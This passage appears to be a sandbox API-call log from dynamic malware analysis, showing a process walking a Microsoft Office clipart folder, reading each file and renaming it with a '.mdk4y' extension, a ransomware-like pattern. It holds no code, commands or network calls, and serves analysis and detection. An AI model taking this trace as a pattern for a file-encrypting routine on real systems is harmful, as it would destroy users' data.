lpNumberOfBytesRead=0x37df4c*=0x2645, lpOverlapped=0x0) returned 1 [0169.639] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824486900000) returned 1 [0169.639] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824486900000) returned 1 [0169.639] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid.mdk4y")) returned 1 [0169.640] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.640] AreFileApisANSI () returned 1 [0169.640] GetACP () returned 0x4e4 [0169.640] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="JNGLE_01.MID", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="JNGLE_01.MID", lpUsedDefaultChar=0x37df4c) returned 12 [0169.641] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.641] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824487100000) returned 1 [0169.641] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x16d3, lpOverlapped=0x0) returned 1 [0169.651] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824488100000) returned 1 [0169.651] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824488100000) returned 1 [0169.651] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid.mdk4y")) returned 1 [0169.652] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.652] AreFileApisANSI () returned 1 [0169.652] GetACP () returned 0x4e4 [0169.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MP00021_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MP00021_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0169.652] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00021_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.653] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824488300000) returned 1 [0169.653] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x15f6, lpOverlapped=0x0) returned 1 [0169.663] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824489300000) returned 1 [0169.664] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824489400000) returned 1 [0169.664] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00021_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00021_.wmf.mdk4y")) returned 1 [0169.665] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.665] AreFileApisANSI () returned 1 [0169.665] GetACP () returned 0x4e4 [0169.665] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MP00132_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MP00132_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0169.665] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00132_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.666] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824489600000) returned 1 [0169.666] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1090, lpOverlapped=0x0) returned 1 [0169.667] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824489700000) returned 1 [0169.667] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824489700000) returned 1 [0169.667] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00132_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00132_.wmf.mdk4y")) returned 1 [0169.668] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.668] AreFileApisANSI () returned 1 [0169.668] GetACP () returned 0x4e4 [0169.668] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MP00646_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MP00646_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0169.669] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00646_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.669] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824489900000) returned 1 [0169.669] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x31e2, lpOverlapped=0x0) returned 1 [0169.677] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824490700000) returned 1 [0169.677] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824490700000) returned 1 [0169.678] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00646_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00646_.wmf.mdk4y")) returned 1 [0169.683] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.684] AreFileApisANSI () returned 1 [0169.684] GetACP () returned 0x4e4 [0169.684] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MUSIC_01.MID", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="MUSIC_01.MID", lpUsedDefaultChar=0x37df4c) returned 12 [0169.684] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.685] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824491500000) returned 1 [0169.685] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1ae0, lpOverlapped=0x0) returned 1 [0169.690] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824492000000) returned 1 [0169.690] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824492000000) returned 1 [0169.691] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid.mdk4y")) returned 1 [0169.692] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.692] AreFileApisANSI () returned 1 [0169.692] GetACP () returned 0x4e4 [0169.692] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA00042_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA00042_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0169.692] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00042_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.692] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824492200000) returned 1 [0169.692] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5044, lpOverlapped=0x0) returned 1 [0169.704] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824493400000) returned 1 [0169.704] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824493400000) returned 1 [0169.705] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00042_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00042_.wmf.mdk4y")) returned 1 [0169.706] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.706] AreFileApisANSI () returned 1 [0169.706] GetACP () returned 0x4e4 [0169.706] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA00057_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA00057_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0169.706] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00057_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.707] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824493700000) returned 1 [0169.707] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2a42, lpOverlapped=0x0) returned 1 [0169.715] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824494500000) returned 1 [0169.715] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824494500000) returned 1 [0169.716] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00057_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00057_.wmf.mdk4y")) returned 1 [0169.717] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.717] AreFileApisANSI () returned 1 [0169.717] GetACP () returned 0x4e4 [0169.717] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA00058_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA00058_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0169.717] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00058_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.718] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824494800000) returned 1 [0169.718] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xeaa, lpOverlapped=0x0) returned 1 [0169.719] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824494900000) returned 1 [0169.719] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824494900000) returned 1 [0169.719] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00058_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00058_.wmf.mdk4y")) returned 1 [0169.720] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.720] AreFileApisANSI () returned 1 [0169.720] GetACP () returned 0x4e4 [0169.720] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA00068_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA00068_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0169.720] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00068_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.721] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824495100000) returned 1 [0169.721] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1324, lpOverlapped=0x0) returned 1 [0169.722] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824495200000) returned 1 [0169.722] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824495200000) returned 1 [0169.723] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00068_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00068_.wmf.mdk4y")) returned 1 [0169.723] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.723] AreFileApisANSI () returned 1 [0169.723] GetACP () returned 0x4e4 [0169.723] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA00238_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA00238_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0169.723] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00238_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.724] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824495400000) returned 1 [0169.724] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1384, lpOverlapped=0x0) returned 1 [0169.790] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00238_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00238_.wmf.mdk4y")) returned 1 [0169.791] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.791] AreFileApisANSI () returned 1 [0169.791] GetACP () returned 0x4e4 [0169.791] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA00330_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA00330_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0169.791] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00330_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.792] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x864, lpOverlapped=0x0) returned 1 [0169.819] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00330_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00330_.wmf.mdk4y")) returned 1 [0169.820] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.820] AreFileApisANSI () returned 1 [0169.820] GetACP () returned 0x4e4 [0169.820] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA00388_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA00388_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0169.820] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00388_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.821] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1172, lpOverlapped=0x0) returned 1 [0169.822] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00388_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00388_.wmf.mdk4y")) returned 1 [0169.823] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.823] AreFileApisANSI () returned 1 [0169.823] GetACP () returned 0x4e4 [0169.823] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA00389_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA00389_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0169.823] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00389_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.835] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x20ca, lpOverlapped=0x0) returned 1 [0169.844] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00389_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00389_.wmf.mdk4y")) returned 1 [0169.845] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.845] AreFileApisANSI () returned 1 [0169.845] GetACP () returned 0x4e4 [0169.845] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA00390_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA00390_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0169.845] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.846] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x21c2, lpOverlapped=0x0) returned 1 [0169.855] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00390_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00390_.wmf.mdk4y")) returned 1 [0169.856] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.856] AreFileApisANSI () returned 1 [0169.856] GetACP () returned 0x4e4 [0169.856] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NA00391_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="NA00391_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0169.856] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00391_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.857] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x21ec, lpOverlapped=0x0) returned 1 [0169.869] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00391_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft 